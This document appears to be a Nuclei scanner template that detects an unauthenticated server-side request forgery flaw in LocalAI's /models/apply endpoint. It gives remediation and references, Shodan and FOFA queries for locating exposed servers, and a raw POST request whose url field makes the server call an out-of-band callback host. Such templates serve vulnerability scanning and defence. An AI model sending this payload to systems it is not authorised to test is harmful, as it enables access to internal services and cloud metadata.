id: CVE-2026-59707 info: name: LocalAI < 4.6.0 - Server-Side Request Forgery author: ashish-cybersec severity: critical description: | LocalAI before 4.6.0 is affected by an unauthenticated server-side request forgery vulnerability in the POST /models/apply endpoint. The gallery `url` field is passed to the gallery config fetcher without validation, allowing an unauthenticated attacker to make the server issue HTTP requests to arbitrary internal, loopback, link-local, and cloud-metadata addresses. The outcome of the server-side fetch is reflected in the model-apply job status. impact: | An unauthenticated attacker can reach internal-only services and cloud metadata endpoints through the server, with partial responses leaked via job error messages. remediation: | Upgrade to LocalAI 4.6.0 or later, which validates gallery config URLs and rejects requests to internal network addresses. reference: - https://github.com/mudler/LocalAI/issues/10665 - https://github.com/mudler/LocalAI/commit/2cbb3c96b34d - https://nvd.nist.gov/vuln/detail/CVE-2026-59707 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N cvss-score: 9.3 cve-id: CVE-2026-59707 epss-score: 0.01383 epss-percentile: 0.72078 cwe-id: CWE-918 metadata: verified: true max-request: 2 vendor: mudler product: localai shodan-query: http.favicon.hash:-976853304 fofa-query: icon_hash="-976853304" tags: cve,cve2026,localai,ssrf,mudler http: - raw: - | POST /models/apply HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"url":"http://{{interactsh-url}}/{{rand_text_alpha(6)}}.yaml"} matchers-condition: and matchers: - type: word part: body words: - '"uuid":"' - 'status":' condition: and - type: word part: interactsh_protocol words: - "dns" - type: status status: - 200 extractors: - type: regex name: jobid part: body group: 1 regex: - '"uuid":"([a-f0-9-]+)"' internal: true # digest: 4b0a004830460221008fba563a30b30cd2529b140a9096d8c80c2af4333936b31c7200fbcdd7798768022100eeb6e6be586c499febc716256ec5e2fdc4c2f57752c509af5d4f99a8ce92bc65:922c64590222798bb761d5b6d8e72950